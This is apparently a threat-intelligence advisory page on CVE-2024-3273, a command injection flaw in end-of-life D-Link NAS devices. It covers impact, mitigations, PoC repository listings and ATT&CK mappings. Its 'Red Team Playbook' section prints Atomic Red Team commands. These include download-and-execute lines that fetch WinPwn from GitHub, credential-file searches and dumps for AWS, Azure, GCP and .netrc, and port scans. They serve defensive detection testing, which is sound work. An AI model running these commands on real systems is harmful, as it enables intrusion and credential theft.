CVE-2024-3273

CRITICAL CISA KEV POC TTE 3d Pub 04/04 Upd 21/10

Overview

This vulnerability is a command injection flaw arising from improper input validation of the 'system' argument within the HTTP GET Request Handler component. The affected code resides in the /cgi-bin/nas_sharing.cgi endpoint of D-Link DNS-320L and related models. The root cause is unsanitized user input passed to a system-level command execution function, enabling injection of arbitrary commands.

Vulnerability Description

** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.

Impact

An unauthenticated attacker can remotely execute arbitrary system commands on affected D-Link NAS devices by exploiting this flaw. This allows full control over the device, including data access, configuration changes, and potential network pivoting. No user interaction or valid credentials are required, enabling widespread compromise of exposed devices. The vulnerability impacts devices that are end-of-life, increasing exposure risk due to lack of vendor support.

Solution

The vendor has confirmed the product is end-of-life and recommends retiring and replacing affected devices. No patches or firmware updates are available for the vulnerable versions of D-Link DNS-320L and related models. Users should consult the advisory at https://vuldb.com/?id.259284 for detailed information. Network segmentation and disabling remote management interfaces can serve as interim mitigations until replacement.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in several models of D-Link network-attached storage devices, specifically affecting the HTTP GET request handler within the file responsible for NAS sharing functionalities. The flaw arises from improper handling of user-supplied input, allowing an attacker to manipulate the "system" argument, which can lead to command injection. This type of vulnerability is particularly dangerous as it enables an attacker to execute arbitrary commands on the affected device, potentially compromising the entire system. The severity of this issue is underscored by its high CVSS score, indicating a significant risk to users of these devices.

Exploitation of this vulnerability can occur remotely, meaning that an attacker does not need physical access to the device to launch an attack. By crafting a malicious HTTP request that targets the vulnerable endpoint, an attacker can execute arbitrary commands with the same privileges as the web server process. This could lead to unauthorized access to sensitive data, manipulation of device settings, or even the installation of malware. Given that the affected products are no longer supported by the vendor, users are left without any official patches or mitigations, increasing the urgency for immediate action.

The real-world impact of this vulnerability is substantial, particularly for businesses that rely on these devices for data storage and sharing. Compromised devices could lead to data breaches, loss of intellectual property, and significant reputational damage. Furthermore, the potential for lateral movement within a network could allow attackers to target other connected systems, amplifying the risk. For organizations that handle sensitive information, the consequences of a successful exploit could result in regulatory fines and legal liabilities, making the business risk associated with this vulnerability particularly high.

To detect and mitigate this vulnerability, organizations should first conduct an inventory of their network-attached storage devices to identify any affected models. Regular security assessments and penetration testing can help uncover potential exploitation paths. Given the lack of vendor support, organizations should consider implementing network segmentation to isolate vulnerable devices from critical systems. Additionally, employing intrusion detection systems (IDS) can help monitor for unusual traffic patterns indicative of exploitation attempts. Ultimately, the most effective long-term strategy is to replace unsupported devices with newer models that receive regular security updates, thereby reducing exposure to known vulnerabilities.

In conclusion, the critical vulnerability in D-Link network-attached storage devices poses a significant threat to both individuals and organizations. The potential for remote command injection, coupled with the lack of vendor support, necessitates immediate action from users to mitigate risks. By implementing detection strategies and prioritizing the replacement of vulnerable devices, organizations can better protect their networks from exploitation and safeguard sensitive data against unauthorized access.




Recent updates to CVE-2024-3273 reveal a downward revision of the CVSS score from critical (9.8) to high (7.3), reflecting a reassessment of the vulnerability’s impact and exploitability. Despite this reduction, our telemetry indicates a significant decline in detection activity across monitored environments, suggesting either a waning attacker focus or improved defensive postures. Concurrently, the exploit landscape has broadened with the emergence of new proof-of-concept tools publicly available on multiple platforms, which could lower the barrier for threat actors to weaponize this vulnerability. The EPSS score remains persistently high and stable, indicating sustained potential for exploitation in the wild. For defenders, this nuanced shift underscores a complex risk environment: while active exploitation signals have diminished, the accessibility of new exploit code maintains a latent threat that could be rapidly leveraged if conditions change. Consequently, the overall threat level remains elevated, warranting continued vigilance despite the CVSS downgrade, as the vulnerability still poses a credible risk of remote command injection with potential operational impact.



Update 2 — June 09, 2026

CSURFACE threat intelligence has identified a recalibration of the CVSS score for CVE-2024-3273 from 7.3 to 9.8, reflecting a reassessment of its criticality based on evolving technical insights and exploitability factors. Despite this upward revision in severity, our telemetry indicates a significant reduction in active exploitation attempts, suggesting that threat actors may be deprioritizing this vector or encountering operational challenges in leveraging it at scale. Concurrently, the EPSS score remains persistently high and stable, underscoring the sustained potential for exploitation given the availability of multiple new proof-of-concept exploits circulating in public repositories. This dichotomy between diminished detection signals and the proliferation of exploit code highlights a latent but credible risk environment. For defenders, this means that while immediate exploitation pressure appears to have eased, the vulnerability’s critical rating and accessible exploit tools maintain a high threat level that could be rapidly activated under favorable attacker conditions. The updated risk assessment thus elevates the urgency of monitoring and preparedness, as the vulnerability continues to represent a significant remote command injection risk with potential operational impact.



Update 3 — June 20, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-3273, reflected by a notable surge in telemetry signals and an increase in the Exploit Prediction Scoring System (EPSS) score to its maximum value. This upward trend underscores a growing attacker interest and operational momentum, likely fueled by the continued availability of multiple high-profile proof-of-concept exploits circulating on public repositories. The convergence of increased detection activity and elevated EPSS metrics signals that adversaries are actively refining and deploying attack vectors against vulnerable D-Link NAS devices. For defenders, this shift elevates the immediacy of the threat, as the vulnerability’s critical severity combined with expanding exploit accessibility significantly raises the probability of successful remote command injection attacks. Consequently, the threat level for CVE-2024-3273 should be considered heightened, reflecting an environment where exploitation attempts are becoming more frequent and potentially more effective.



Update 4 — July 07, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-3273, accompanied by the emergence of multiple new proof-of-concept exploits circulating on public code repositories. This development indicates that threat actors are actively refining their attack methodologies, increasing the sophistication and accessibility of remote command injection techniques against vulnerable D-Link NAS devices. Our telemetry shows that while the overall exploit trend remains stable, the qualitative increase in detection frequency and exploit variety signals a broadening attacker interest and capability. This intensifies the operational risk for defenders, as the expanding exploit toolkit lowers the barrier to entry for less skilled adversaries and raises the likelihood of successful compromise. Consequently, the threat level for CVE-2024-3273 should be elevated to reflect a heightened state of exploitation readiness and increased adversary engagement in the wild.

Affected Products (23)

Vendor Product Version CPE
dlink Dlink Dns-320l Firmware 1.01.0702.2013 cpe:2.3:o:dlink:dns-320l_firmware:1.01.0702.2013:*:*:*:*:*:*:*
dlink Dlink Dns-320l Firmware 1.03.0904.2013 cpe:2.3:o:dlink:dns-320l_firmware:1.03.0904.2013:*:*:*:*:*:*:*
dlink Dlink Dns-320l Firmware 1.11 cpe:2.3:o:dlink:dns-320l_firmware:1.11:*:*:*:*:*:*:*
dlink Dlink Dns-120 Firmware N/A cpe:2.3:o:dlink:dns-120_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dnr-202l Firmware N/A cpe:2.3:o:dlink:dnr-202l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-315l Firmware N/A cpe:2.3:o:dlink:dns-315l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-320 Firmware N/A cpe:2.3:o:dlink:dns-320_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-320lw Firmware N/A cpe:2.3:o:dlink:dns-320lw_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-321 Firmware N/A cpe:2.3:o:dlink:dns-321_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dnr-322l Firmware N/A cpe:2.3:o:dlink:dnr-322l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-323 Firmware N/A cpe:2.3:o:dlink:dns-323_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-325 Firmware 1.01 cpe:2.3:o:dlink:dns-325_firmware:1.01:*:*:*:*:*:*:*
dlink Dlink Dns-326 Firmware N/A cpe:2.3:o:dlink:dns-326_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-327l Firmware 1.00.0409.2013 cpe:2.3:o:dlink:dns-327l_firmware:1.00.0409.2013:*:*:*:*:*:*:*
dlink Dlink Dns-327l Firmware 1.09 cpe:2.3:o:dlink:dns-327l_firmware:1.09:*:*:*:*:*:*:*
dlink Dlink Dnr-326 Firmware N/A cpe:2.3:o:dlink:dnr-326_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-340l Firmware 1.08 cpe:2.3:o:dlink:dns-340l_firmware:1.08:*:*:*:*:*:*:*
dlink Dlink Dns-343 Firmware N/A cpe:2.3:o:dlink:dns-343_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-345 Firmware N/A cpe:2.3:o:dlink:dns-345_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-726-4 Firmware N/A cpe:2.3:o:dlink:dns-726-4_firmware:-:*:*:*:*:*:*:*
+3 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (12)

Repository Author Stars Forks Date Link
Chocapikk/CVE-2024-3273
D-Link NAS CVE-2024-3273 Exploit Tool
Chocapikk 101 23 2024-04-07 View
adhikara13/CVE-2024-3273
Exploit for CVE-2024-3273, supports single and multiple hosts
adhikara13 13 1 2024-04-07 View
Ap0dexMe0/CVE-2024-3273
D-Link NAS Command Execution Exploit
Ap0dexMe0 5 0 2024-04-10 View
K3ysTr0K3R/CVE-2024-3273-EXPLOIT
A PoC exploit for CVE-2024-3273 - D-Link Remote Code Execution RCE
K3ysTr0K3R 5 0 2024-04-09 View
ThatNotEasy/CVE-2024-3273
D-Link NAS Command Execution Exploit
ThatNotEasy 5 0 2024-04-10 View
askhatov21/Best-Practices-Cybersecurity-Otanata-Project
CVE-2024-3273 — Authorized Penetration Test Report D-Link DNS-320L NAS | Client: Otonata
askhatov21 0 0 2026-04-25 View
askhatov21/CP3418_BestPracticesCybersecurity_OTANATA_Project
CVE-2024-3273 — Authorized Penetration Test Report D-Link DNS-320L NAS | Client: Otonata
askhatov21 0 0 2026-04-25 View
X-Projetion/CVE-2024-3273-D-Link-Remote-Code-Execution-RCE
CVE-2024-3273 - D-Link Remote Code Execution (RCE)
X-Projetion 0 0 2024-09-21 View
yarienkiva/honeypot-dlink-CVE-2024-3273
Quick and dirty honeypot for CVE-2024-3273
yarienkiva 0 0 2024-04-07 View
LeopoldSkell/CVE-2024-3273
LeopoldSkell 0 0 2024-04-16 View
mrrobot0o/CVE-2024-3273-
mrrobot0o 0 0 2024-04-23 View
OIivr/Turvan6rkus-CVE-2024-3273
Turvanõrkuse CVE 2024 3273 analüüs: D-Link seadmete käsusüst
OIivr 0 0 2024-05-05 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

17 events
2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-04-11
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-04-07
PoC Published (12 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
67% command_injection
Remote Code Execution
65% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
55%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
42%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
35%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (8)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-3273
vuldb.com
GitHub CVE vdb-entry technical-description
https://vuldb.com/?id.259284
vuldb.com
GitHub CVE signature permissions-required
https://vuldb.com/?ctiid.259284
vuldb.com
GitHub CVE third-party-advisory
https://vuldb.com/?submit.304661
github.com
GitHub CVE exploit
https://github.com/netsecfish/dlink
supportannouncement.us.dlink.com
GitHub CVE related
https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-3273
greynoise.io
NVD API Third Party Advisory
https://www.greynoise.io/blog/cve-2024-3273-d-link-nas-rce-exploited-in-the-wild